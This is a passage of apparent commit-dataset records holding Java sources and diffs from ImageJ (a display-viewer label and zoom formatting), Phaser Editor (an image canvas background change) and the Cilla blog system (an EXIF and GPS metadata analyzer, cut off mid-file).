final int yIndex = dataset.getAxisIndex(Axes.Y);
final long[] dims = dataset.getDims();
final AxisType[] axes = dataset.getAxes();
final Position pos = view.getPlanePosition();
final StringBuilder sb = new StringBuilder();
for (int i = 0, p = -1; i < dims.length; i++) {
if (Axes.isXY(axes[i])) continue;
p++;
if (dims[i] == 1) continue;
sb.append(axes[i]);
sb.append(": ");
sb.append(pos.getLongPosition(p) + 1);
sb.append("/");
sb.append(dims[i]);
sb.append("; ");
}
sb.append(dims[xIndex]);
sb.append("x");
sb.append(dims[yIndex]);
sb.append("; ");
sb.append(dataset.getTypeLabelLong());
sb.append("; ");
sb.append(byteInfoString(dataset));
sb.append("; ");
final double zoomFactor = getImageDisplay().getCanvas().getZoomFactor();
if (zoomFactor != 1) {
sb.append("(");
sb.append(getScaleConverter().getString(zoomFactor));
sb.append(")");
}
return sb.toString();
}
private String byteInfoString(final Dataset ds) {
final double byteCount = ds.getBytesOfInfo();
return UnitUtils.getAbbreviatedByteLabel(byteCount);
}
private ScaleConverter getScaleConverter() {
if (getZoomScaleOption().equals(ZoomScaleOption.OPTIONS_FRACTIONAL_SCALE)) {
return new FractionalScaleConverter();
}
return new PercentScaleConverter();
}
// -- Helper classes --
private interface ScaleConverter {
String getString(double realScale);
}
private class PercentScaleConverter implements ScaleConverter {
@Override
public String getString(final double realScale) {
return String.format("%.2f%%", realScale * 100);
}
}
private class FractionalScaleConverter implements ScaleConverter {
@Override
public String getString(final double realScale) {
final FractionalScale scale = new FractionalScale(realScale);
// is fractional scale invalid?
if (scale.getDenom() == 0) {
if (realScale >= 1) return String.format("%.2fX", realScale);
// else scale < 1
return String.format("1/%.2fX", (1 / realScale));
}
// or do we have a whole number scale?
if (scale.getDenom() == 1) {
return String.format("%dX", scale.getNumer());
}
// else have valid fraction
return String.format("%d/%dX", scale.getNumer(), scale.getDenom());
}
}
private class FractionalScale {
private int numer, denom;
FractionalScale(final double realScale) {
numer = 0;
denom = 0;
if (realScale >= 1) {
final double floor = Math.floor(realScale);
if ((realScale - floor) < 0.0001) {
numer = (int) floor;
denom = 1;
}
}
else { // factor < 1
final double recip = 1.0 / realScale;
final double floor = Math.floor(recip);
if ((recip - floor) < 0.0001) {
numer = 1;
denom = (int) floor;
}
}
if (denom == 0) lookForBestFraction(realScale);
}
int getNumer() {
return numer;
}
int getDenom() {
return denom;
}
// This method attempts to find a simple fraction that describes the
// specified scale. It searches a small set of numbers to minimize
// time spent. If it fails to find scale it leaves fraction unchanged.
private void lookForBestFraction(final double scale) {
final int quickRange = 32;
for (int n = 1; n <= quickRange; n++) {
for (int d = 1; d <= quickRange; d++) {
final double frac = 1.0 * n / d;
if (Math.abs(scale - frac) < 0.0001) {
numer = n;
denom = d;
return;
}
}
}
}
}
private boolean isMyDataset(final Dataset ds) {
if (ds == null) return false;
final ImageDisplayService service =
getEventService().getContext().getService(ImageDisplayService.class);
final ImageDisplay disp = getImageDisplay();
return service.getActiveDataset(disp) == ds;
}
// -- Event handlers --
@EventHandler
protected void onEvent(final WinActivatedEvent event) {
if (event.getDisplay() != this.getDisplay()) return;
// final UserInterface ui = ImageJ.get(UIService.class).getUI();
// final ToolService toolMgr = ui.getToolBar().getToolService();
final ToolService toolService =
event.getContext().getService(ToolService.class);
getImageDisplay().getCanvas().setCursor(
toolService.getActiveTool().getCursor());
}
@EventHandler
protected void onEvent(final ZoomEvent event) {
if (event.getCanvas() == getImageDisplay().getCanvas()) updateLabel();
}
@EventHandler
protected void onEvent(final DatasetRestructuredEvent event) {
if (isMyDataset(event.getObject())) updateLabel();
}
@EventHandler
protected void onEvent(final DatasetTypeChangedEvent event) {
if (isMyDataset(event.getObject())) updateLabel();
}
@EventHandler
protected void onEvent(final AxisPositionEvent event) {
if (event.getDisplay() == getDisplay()) updateLabel();
}
}
| core/data/src/main/java/imagej/data/display/ui/AbstractImageDisplayViewer.java | /*
* #%L
* ImageJ software for multidimensional image processing and analysis.
* %%
* Copyright (C) 2009 - 2012 Board of Regents of the University of
* Wisconsin-Madison, Broad Institute of MIT and Harvard, and Max Planck
* Institute of Molecular Cell Biology and Genetics.
* %%
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* The views and conclusions contained in the software and documentation are
* those of the authors and should not be interpreted as representing official
* policies, either expressed or implied, of any organization.
* #L%
*/
package imagej.data.display.ui;
import imagej.data.Data;
import imagej.data.Dataset;
import imagej.data.Position;
import imagej.data.display.DataView;
import imagej.data.display.ImageDisplay;
import imagej.data.display.ImageDisplayService;
import imagej.data.display.event.AxisPositionEvent;
import imagej.data.display.event.ZoomEvent;
import imagej.data.event.DatasetRestructuredEvent;
import imagej.data.event.DatasetTypeChangedEvent;
import imagej.event.EventHandler;
import imagej.event.EventSubscriber;
import imagej.ext.display.Display;
import imagej.ext.display.event.window.WinActivatedEvent;
import imagej.ext.display.ui.AbstractDisplayViewer;
import imagej.ext.display.ui.DisplayWindow;
import imagej.ext.tool.ToolService;
import imagej.util.UnitUtils;
import java.util.List;
import net.imglib2.meta.Axes;
import net.imglib2.meta.AxisType;
/**
* The AbstractImageDisplayViewer implements the gui-independent elements of an
* image display viewer. It subscribes to the events of its controlled display
* and distills these into abstract lifecycle actions.
*
* @author Lee Kamentsky
*/
public abstract class AbstractImageDisplayViewer extends
AbstractDisplayViewer<DataView> implements ImageDisplayViewer
{
protected enum ZoomScaleOption {
OPTIONS_PERCENT_SCALE, OPTIONS_FRACTIONAL_SCALE
}
@SuppressWarnings("unused")
private List<EventSubscriber<?>> subscribers;
// -- DisplayViewer methods --
@Override
public boolean canView(final Display<?> d) {
return d instanceof ImageDisplay;
}
@Override
public void view(final DisplayWindow w, final Display<?> d) {
super.view(w, d);
this.window = w;
assert d instanceof ImageDisplay;
subscribers = getEventService().subscribe(this);
}
@Override
public ImageDisplay getImageDisplay() {
assert getDisplay() instanceof ImageDisplay;
return (ImageDisplay) getDisplay();
}
// -- Internal AbstractImageDisplayViewer methods --
protected Dataset getDataset(final DataView view) {
final Data data = view.getData();
return data instanceof Dataset ? (Dataset) data : null;
}
/**
* Recalculate the label text and update it on the panel.
*/
protected void updateLabel() {
if (getImageDisplay().getActiveView() != null) {
getPanel().setLabel(makeLabel());
}
}
/**
* Implement this in the derived class to get the user's preference for
* displaying zoom scale (as a fraction or percent)
*
* @return {@link ZoomScaleOption#OPTIONS_PERCENT_SCALE} or
* {@link ZoomScaleOption#OPTIONS_FRACTIONAL_SCALE}
*/
protected abstract ZoomScaleOption getZoomScaleOption();
// -- Helper methods --
/** Makes some informative label text by inspecting the views. */
private String makeLabel() {
// CTR TODO - Fix window label to show beyond just the active view.
final DataView view = getImageDisplay().getActiveView();
final Dataset dataset = getDataset(view);
final int xIndex = dataset.getAxisIndex(Axes.X);
final int yIndex = dataset.getAxisIndex(Axes.Y);
final long[] dims = dataset.getDims();
final AxisType[] axes = dataset.getAxes();
final Position pos = view.getPlanePosition();
final StringBuilder sb = new StringBuilder();
for (int i = 0, p = -1; i < dims.length; i++) {
if (Axes.isXY(axes[i])) continue;
p++;
if (dims[i] == 1) continue;
sb.append(axes[i]);
sb.append(": ");
sb.append(pos.getLongPosition(p) + 1);
sb.append("/");
sb.append(dims[i]);
sb.append("; ");
}
sb.append(dims[xIndex]);
sb.append("x");
sb.append(dims[yIndex]);
sb.append("; ");
sb.append(dataset.getTypeLabelLong());
sb.append("; ");
sb.append(byteInfoString(dataset));
sb.append("; ");
final double zoomFactor = getImageDisplay().getCanvas().getZoomFactor();
if (zoomFactor != 1) {
sb.append("(");
sb.append(getScaleConverter().getString(zoomFactor));
sb.append(")");
}
return sb.toString();
}
private String byteInfoString(final Dataset ds) {
final double byteCount = ds.getBytesOfInfo();
return UnitUtils.getAbbreviatedByteLabel(byteCount);
}
private ScaleConverter getScaleConverter() {
if (getZoomScaleOption().equals(ZoomScaleOption.OPTIONS_FRACTIONAL_SCALE)) {
return new FractionalScaleConverter();
}
return new PercentScaleConverter();
}
// -- Helper classes --
private interface ScaleConverter {
String getString(double realScale);
}
private class PercentScaleConverter implements ScaleConverter {
@Override
public String getString(final double realScale) {
return String.format("%.2f%%", realScale * 100);
}
}
private class FractionalScaleConverter implements ScaleConverter {
@Override
public String getString(final double realScale) {
final FractionalScale scale = new FractionalScale(realScale);
// is fractional scale invalid?
if (scale.getDenom() == 0) {
if (realScale >= 1) return String.format("%.2fX", realScale);
// else scale < 1
return String.format("1/%.2fX", (1 / realScale));
}
// or do we have a whole number scale?
if (scale.getDenom() == 1) {
return String.format("%dX", scale.getNumer());
}
// else have valid fraction
return String.format("%d/%dX", scale.getNumer(), scale.getDenom());
}
}
private class FractionalScale {
private int numer, denom;
FractionalScale(final double realScale) {
numer = 0;
denom = 0;
if (realScale >= 1) {
final double floor = Math.floor(realScale);
if ((realScale - floor) < 0.0001) {
numer = (int) floor;
denom = 1;
}
}
else { // factor < 1
final double recip = 1.0 / realScale;
final double floor = Math.floor(recip);
if ((recip - floor) < 0.0001) {
numer = 1;
denom = (int) floor;
}
}
if (denom == 0) lookForBestFraction(realScale);
}
int getNumer() {
return numer;
}
int getDenom() {
return denom;
}
// This method attempts to find a simple fraction that describes the
// specified scale. It searches a small set of numbers to minimize
// time spent. If it fails to find scale it leaves fraction unchanged.
private void lookForBestFraction(final double scale) {
final int quickRange = 32;
for (int n = 1; n <= quickRange; n++) {
for (int d = 1; d <= quickRange; d++) {
final double frac = 1.0 * n / d;
if (Math.abs(scale - frac) < 0.0001) {
numer = n;
denom = d;
return;
}
}
}
}
}
private boolean isMyDataset(final Dataset ds) {
if (ds == null) return false;
final ImageDisplayService service =
getEventService().getContext().getService(ImageDisplayService.class);
final ImageDisplay disp = getImageDisplay();
return service.getActiveDataset(disp) == ds;
}
// -- Event handlers --
@EventHandler
protected void onEvent(final WinActivatedEvent event) {
if (event.getDisplay() != this.getDisplay()) return;
// final UserInterface ui = ImageJ.get(UIService.class).getUI();
// final ToolService toolMgr = ui.getToolBar().getToolService();
final ToolService toolService =
event.getContext().getService(ToolService.class);
getImageDisplay().getCanvas().setCursor(
toolService.getActiveTool().getCursor());
}
@EventHandler
protected void onEvent(final ZoomEvent event) {
if (event.getCanvas() == getImageDisplay().getCanvas()) updateLabel();
}
@EventHandler
protected void onEvent(final DatasetRestructuredEvent event) {
if (isMyDataset(event.getObject())) updateLabel();
}
@EventHandler
protected void onEvent(final DatasetTypeChangedEvent event) {
if (isMyDataset(event.getObject())) updateLabel();
}
@EventHandler
protected void onEvent(final AxisPositionEvent event) {
if (event.getDisplay() == getDisplay()) updateLabel();
}
}
| Move getImageDisplay() to proper section
This used to be revision r5506.
| core/data/src/main/java/imagej/data/display/ui/AbstractImageDisplayViewer.java | Move getImageDisplay() to proper section | <ide><path>ore/data/src/main/java/imagej/data/display/ui/AbstractImageDisplayViewer.java
<ide> @SuppressWarnings("unused")
<ide> private List<EventSubscriber<?>> subscribers;
<ide>
<add> // -- ImageDisplayViewer methods --
<add>
<add> @Override
<add> public ImageDisplay getImageDisplay() {
<add> assert getDisplay() instanceof ImageDisplay;
<add> return (ImageDisplay) getDisplay();
<add> }
<add>
<ide> // -- DisplayViewer methods --
<ide>
<ide> @Override
<ide> this.window = w;
<ide> assert d instanceof ImageDisplay;
<ide> subscribers = getEventService().subscribe(this);
<del> }
<del>
<del> @Override
<del> public ImageDisplay getImageDisplay() {
<del> assert getDisplay() instanceof ImageDisplay;
<del> return (ImageDisplay) getDisplay();
<ide> }
<ide>
<ide> // -- Internal AbstractImageDisplayViewer methods -- |
|
Java | epl-1.0 | ca29ff6cfabbc2d4da627ee10c3ff30758611c3b | 0 | boniatillo-com/PhaserEditor,boniatillo-com/PhaserEditor,boniatillo-com/PhaserEditor,boniatillo-com/PhaserEditor,boniatillo-com/PhaserEditor,boniatillo-com/PhaserEditor | // The MIT License (MIT)
//
// Copyright (c) 2015 Arian Fornaris
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions: The above copyright notice and this permission
// notice shall be included in all copies or substantial portions of the
// Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
package phasereditor.ui;
import org.eclipse.core.resources.IFile;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.PaintEvent;
import org.eclipse.swt.events.PaintListener;
import org.eclipse.swt.graphics.GC;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.widgets.Canvas;
import org.eclipse.swt.widgets.Composite;
public class ImageCanvas extends Canvas implements PaintListener {
protected Image _image;
private Point _preferredSize;
private String _noImageMessage = "(no image)";
public ImageCanvas(Composite parent, int style) {
super(parent, style | SWT.DOUBLE_BUFFERED);
addPaintListener(this);
_preferredSize = new Point(0, 0);
// setBackground(getDisplay().getSystemColor(SWT.COLOR_DARK_GRAY));
setBackground((getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)));
}
public String getNoImageMessage() {
return _noImageMessage;
}
public void setNoImageMessage(String noImageMessage) {
_noImageMessage = noImageMessage;
}
public void setImageFile(IFile file) {
setImageFile(file == null ? null : file.getLocation().toFile().getAbsolutePath());
}
public void setImageFile(String filepath) {
if (filepath == null) {
setImage(null);
return;
}
loadImage(filepath);
}
public void loadImage(String filepath) {
Image image;
try {
image = new Image(getDisplay(), filepath);
} catch (Exception e) {
e.printStackTrace();
image = null;
}
setImage(image);
}
public Image getImage() {
return _image;
}
public void setImage(Image image) {
if (_image != null) {
_image.dispose();
}
_image = image;
redraw();
}
@Override
public void dispose() {
if (_image != null) {
_image.dispose();
}
super.dispose();
}
@Override
public void paintControl(PaintEvent e) {
GC gc = e.gc;
Rectangle dst = getBounds();
if (_image == null) {
PhaserEditorUI.paintPreviewMessage(gc, dst, _noImageMessage);
} else {
Rectangle src = _image.getBounds();
Rectangle b = PhaserEditorUI.computeImageZoom(src, dst);
drawImageBackground(gc, b);
drawImage(gc, src.x, src.y, src.width, src.height, b.width, b.height, b.x, b.y);
drawMore(gc, src.width, src.height, b.width, b.height, b.x, b.y);
}
}
@SuppressWarnings("static-method")
protected void drawImageBackground(GC gc, Rectangle b) {
PhaserEditorUI.paintPreviewBackground(gc, b);
}
@SuppressWarnings("unused")
protected void drawMore(GC gc, int srcW, int srcH, int dstW, int dstH, int dstX, int dstY) {
// empty
}
protected void drawImage(GC gc, int srcX, int srcY, int srcW, int srcH, int dstW, int dstH, int dstX, int dstY) {
gc.drawImage(_image, srcX, srcY, srcW, srcH, dstX, dstY, dstW, dstH);
}
public String getResolution() {
if (_image != null) {
Rectangle b = _image.getBounds();
return b.width + " x " + b.height;
}
return "";
}
public Rectangle getImageDimension() {
if (_image == null) {
return null;
}
return _image.getBounds();
}
public Point getPreferredSize() {
return _preferredSize;
}
public void setPreferredSize(Point preferredSize) {
_preferredSize = preferredSize;
}
@Override
public Point computeSize(int wHint, int hHint, boolean changed) {
if (_preferredSize != null && _preferredSize.x != 0) {
return _preferredSize;
}
return super.computeSize(wHint, hHint, changed);
}
}
| source/phasereditor/phasereditor.ui/src/phasereditor/ui/ImageCanvas.java | // The MIT License (MIT)
//
// Copyright (c) 2015 Arian Fornaris
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions: The above copyright notice and this permission
// notice shall be included in all copies or substantial portions of the
// Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
package phasereditor.ui;
import org.eclipse.core.resources.IFile;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.PaintEvent;
import org.eclipse.swt.events.PaintListener;
import org.eclipse.swt.graphics.GC;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.widgets.Canvas;
import org.eclipse.swt.widgets.Composite;
public class ImageCanvas extends Canvas implements PaintListener {
protected Image _image;
private Point _preferredSize;
private String _noImageMessage = "(no image)";
public ImageCanvas(Composite parent, int style) {
super(parent, style | SWT.DOUBLE_BUFFERED);
addPaintListener(this);
_preferredSize = new Point(0, 0);
// setBackground(getDisplay().getSystemColor(SWT.COLOR_DARK_GRAY));
setBackground((getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)));
}
public String getNoImageMessage() {
return _noImageMessage;
}
public void setNoImageMessage(String noImageMessage) {
_noImageMessage = noImageMessage;
}
public void setImageFile(IFile file) {
setImageFile(file == null ? null : file.getLocation().toFile().getAbsolutePath());
}
public void setImageFile(String filepath) {
if (filepath == null) {
setImage(null);
return;
}
loadImage(filepath);
}
public void loadImage(String filepath) {
Image image;
try {
image = new Image(getDisplay(), filepath);
} catch (Exception e) {
e.printStackTrace();
image = null;
}
setImage(image);
}
public Image getImage() {
return _image;
}
public void setImage(Image image) {
if (_image != null) {
_image.dispose();
}
_image = image;
redraw();
}
@Override
public void dispose() {
if (_image != null) {
_image.dispose();
}
super.dispose();
}
@Override
public void paintControl(PaintEvent e) {
GC gc = e.gc;
Rectangle dst = getBounds();
if (_image == null) {
PhaserEditorUI.paintPreviewMessage(gc, dst, _noImageMessage);
} else {
Rectangle src = _image.getBounds();
Rectangle b = PhaserEditorUI.computeImageZoom(src, dst);
drawImageBackground(gc, b);
drawImage(gc, src.x, src.y, src.width, src.height, b.width, b.height, b.x, b.y);
drawMore(gc, src.width, src.height, b.width, b.height, b.x, b.y);
}
}
@SuppressWarnings("static-method")
protected void drawImageBackground(GC gc, Rectangle b) {
PhaserEditorUI.paintPreviewBackground(gc, b);
}
@SuppressWarnings("unused")
protected void drawMore(GC gc, int srcW, int srcH, int dstW, int dstH, int dstX, int dstY) {
// empty
}
protected void drawImage(GC gc, int srcX, int srcY, int srcW, int srcH, int dstW, int dstH, int dstX, int dstY) {
gc.drawImage(_image, srcX, srcY, srcW, srcH, dstX, dstY, dstW, dstH);
}
public String getResolution() {
if (_image != null) {
Rectangle b = _image.getBounds();
return b.width + " x " + b.height;
}
return "";
}
public Rectangle getImageDimension() {
if (_image == null) {
return null;
}
return _image.getBounds();
}
public Point getPreferredSize() {
return _preferredSize;
}
public void setPreferredSize(Point preferredSize) {
_preferredSize = preferredSize;
}
@Override
public Point computeSize(int wHint, int hHint, boolean changed) {
if (_preferredSize != null && _preferredSize.x != 0) {
return _preferredSize;
}
return super.computeSize(wHint, hHint, changed);
}
}
| Preview: default preview background. | source/phasereditor/phasereditor.ui/src/phasereditor/ui/ImageCanvas.java | Preview: default preview background. | <ide><path>ource/phasereditor/phasereditor.ui/src/phasereditor/ui/ImageCanvas.java
<ide> addPaintListener(this);
<ide> _preferredSize = new Point(0, 0);
<ide> // setBackground(getDisplay().getSystemColor(SWT.COLOR_DARK_GRAY));
<del> setBackground((getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)));
<add> setBackground((getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)));
<ide> }
<ide>
<ide> public String getNoImageMessage() { |
|
Java | agpl-3.0 | f5e7b2c625609b9d11576831fd171bfc1ec89f6d | 0 | shred/cilla,shred/cilla,shred/cilla | /*
* cilla - Blog Management System
*
* Copyright (C) 2012 Richard "Shred" Körber
* http://cilla.shredzone.org
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.shredzone.cilla.service.resource;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.Date;
import java.util.Locale;
import java.util.Objects;
import java.util.Optional;
import java.util.TimeZone;
import com.drew.imaging.PhotographicConversions;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.lang.Rational;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.exif.ExifIFD0Directory;
import com.drew.metadata.exif.ExifSubIFDDirectory;
import com.drew.metadata.exif.GpsDirectory;
import com.drew.metadata.exif.makernotes.CanonMakernoteDirectory;
import com.drew.metadata.exif.makernotes.CasioType2MakernoteDirectory;
import com.drew.metadata.exif.makernotes.PentaxMakernoteDirectory;
import org.shredzone.cilla.core.model.embed.ExifData;
import org.shredzone.cilla.core.model.embed.Geolocation;
import org.slf4j.LoggerFactory;
/**
* Analyzes the EXIF and GPS information of a JPEG image. It's a wrapper around the
* Metadata Extractor of Drew Noakes.
*
* @author Richard "Shred" Körber
* @see <a href="http://drewnoakes.com/code/exif/">Metadata Extractor</a>
*/
public class ExifAnalyzer {
private final Metadata metadata;
/**
* Creates a new {@link ExifAnalyzer} for the given {@link Metadata}.
* <p>
* Private, use the factory classes instead.
*
* @param metadata
* {@link Metadata} to analyze
*/
private ExifAnalyzer(Metadata metadata) {
this.metadata = metadata;
}
/**
* Creates a new {@link ExifAnalyzer} for the given JPEG file.
*
* @param file
* JPEG file to analyze
* @return {@link ExifAnalyzer} or {@code null} if it is no valid JPEG image.
*/
public static ExifAnalyzer create(File file) throws IOException {
try {
return new ExifAnalyzer(JpegMetadataReader.readMetadata(file));
} catch (JpegProcessingException ex) {
LoggerFactory.getLogger(ExifAnalyzer.class)
.debug("Could not analyze file " + file.getName(), ex);
return null;
}
}
/**
* Creates a new {@link ExifAnalyzer} for the given JPEG input stream.
*
* @param in
* JPEG input stream to analyze
* @return {@link ExifAnalyzer} or {@code null} if it is no valid JPEG image.
*/
public static ExifAnalyzer create(InputStream in) throws IOException {
try {
return new ExifAnalyzer(JpegMetadataReader.readMetadata(in));
} catch (JpegProcessingException ex) {
LoggerFactory.getLogger(ExifAnalyzer.class)
.debug("Could not analyze input stream", ex);
return null;
}
}
/**
* Gets the Metadata containing the EXIF information.
*
* @return Metadata
*/
public Metadata getMetadata() {
return metadata;
}
/**
* Gets the {@link ExifData} of the picture taken.
*
* @return {@link ExifData}, never {@code null}, but it could be empty.
*/
public ExifData getExifData() {
ExifData exif = new ExifData();
exif.setCameraModel(getCameraModel());
exif.setAperture(getAperture());
exif.setShutter(getShutter());
exif.setIso(getIso());
exif.setExposureBias(getExposureBias());
exif.setFocalLength(getFocalLength());
exif.setFlash(getFlash());
exif.setWhiteBalance(getWhiteBalance());
exif.setMeteringMode(getMeteringMode());
exif.setFocusMode(getFocusMode());
exif.setProgram(getProgram());
return exif;
}
/**
* Gets the {@link Geolocation} where the picture was taken.
*
* @return {@link Geolocation}, never {@code null}, but it could be empty.
*/
public Geolocation getGeolocation() {
Geolocation location = new Geolocation();
Optional<BigDecimal> longitude = readAngle(GpsDirectory.class, GpsDirectory.TAG_LONGITUDE);
if (longitude.isPresent()) {
Optional<String> longRef = readString(GpsDirectory.class, GpsDirectory.TAG_LONGITUDE_REF);
if ("W".equals(longRef.orElse(null))) {
location.setLongitude(longitude.get().negate());
} else {
location.setLongitude(longitude.get());
}
}
Optional<BigDecimal> latitude = readAngle(GpsDirectory.class, GpsDirectory.TAG_LATITUDE);
if (latitude.isPresent()) {
Optional<String> latRef = readString(GpsDirectory.class, GpsDirectory.TAG_LATITUDE_REF);
if ("S".equals(latRef.orElse(null))) {
location.setLatitude(latitude.get().negate());
} else {
location.setLatitude(latitude.get());
}
}
Optional<Rational> altitude = readRational(GpsDirectory.class, GpsDirectory.TAG_ALTITUDE);
if (altitude.isPresent()) {
BigDecimal altDec = BigDecimal.valueOf(altitude.get().doubleValue()).setScale(3, RoundingMode.HALF_DOWN);
Optional<String> altRef = readString(GpsDirectory.class, GpsDirectory.TAG_ALTITUDE_REF);
if ("1".equals(altRef.orElse(null))) {
location.setAltitude(altDec.negate());
} else {
location.setAltitude(altDec);
}
}
return location;
}
/**
* Gets the date and time when the picture was taken according to the EXIF data.
*
* @param tz
* The camera's TimeZone
* @return Date and time, or {@code null} if the information could not be retrieved
*/
public Date getDateTime(TimeZone tz) {
// JDK9: use Optional.or()
Optional<Date> date = readDate(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_DATETIME_ORIGINAL, tz);
if (!date.isPresent()) {
date = readDate(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_DATETIME_DIGITIZED, tz);
}
if (!date.isPresent()) {
date = readDate(ExifIFD0Directory.class, ExifIFD0Directory.TAG_DATETIME, tz);
}
return date.orElse(null);
}
/**
* Gets the Camera Model.
*
* @return Camera Model string, or {@code null} if the information could not be
* retrieved
*/
public String getCameraModel() {
// JDK9: use Optional.or()
Optional<String> model = readString(ExifIFD0Directory.class, ExifIFD0Directory.TAG_MODEL);
if (model.isPresent()) {
return model.get();
}
model = readString(ExifIFD0Directory.class, ExifIFD0Directory.TAG_MAKE);
if (model.isPresent()) {
return model.get();
}
return null;
}
/**
* Gets the Aperture in F-Stops of the photo taken. Format is "f/6.0".
*
* @return Aperture string, or {@code null} if the information could not be retrieved
*/
public String getAperture() {
Optional<Rational> aperture = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_APERTURE);
if (aperture.isPresent()) {
double fstop = PhotographicConversions.apertureToFStop(aperture.get().doubleValue());
return String.format(Locale.ENGLISH, "f/%.1f", fstop);
}
return null;
}
/**
* Gets the Shutter Speed of the photo taken. Format is either "1/150 s" or "15.0 s".
*
* @return Shutter Speed string, or {@code null} if the information could not be
* retrieved
*/
public String getShutter() {
Optional<Rational> shutter = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_SHUTTER_SPEED);
if (shutter.isPresent()) {
double speed = PhotographicConversions.shutterSpeedToExposureTime(shutter.get().doubleValue());
if (speed <= .25d) {
return String.format(Locale.ENGLISH, "1/%.0f s", 1 / speed);
} else {
return String.format(Locale.ENGLISH, "%.1f s", speed);
}
}
return null;
}
/**
* Gets the ISO value of the photo taken. Format: "100".
*
* @return ISO string, or {@code null} if the information could not be retrieved
*/
public String getIso() {
Optional<Integer> iso = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_ISO_EQUIVALENT);
if (iso.isPresent()) {
return String.format(Locale.ENGLISH, "%d", iso.get());
}
return null;
}
/**
* Gets the Exposure Bias of the photo taken. Format: "+0.7 EV" (zero is "+0.0 EV").
*
* @return Exposure Bias string, or {@code null} if the information could not be
* retrieved
*/
public String getExposureBias() {
Optional<Rational> bias = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_EXPOSURE_BIAS);
if (bias.isPresent()) {
return String.format(Locale.ENGLISH, "%+.1f EV", bias.get().doubleValue());
}
return null;
}
/**
* Gets the Focal Length of the photo taken. Format: "123.0 mm". If there is also a 35
* mm film equivalent focal length, the format is "123.0 mm (= 196.8 mm)".
*
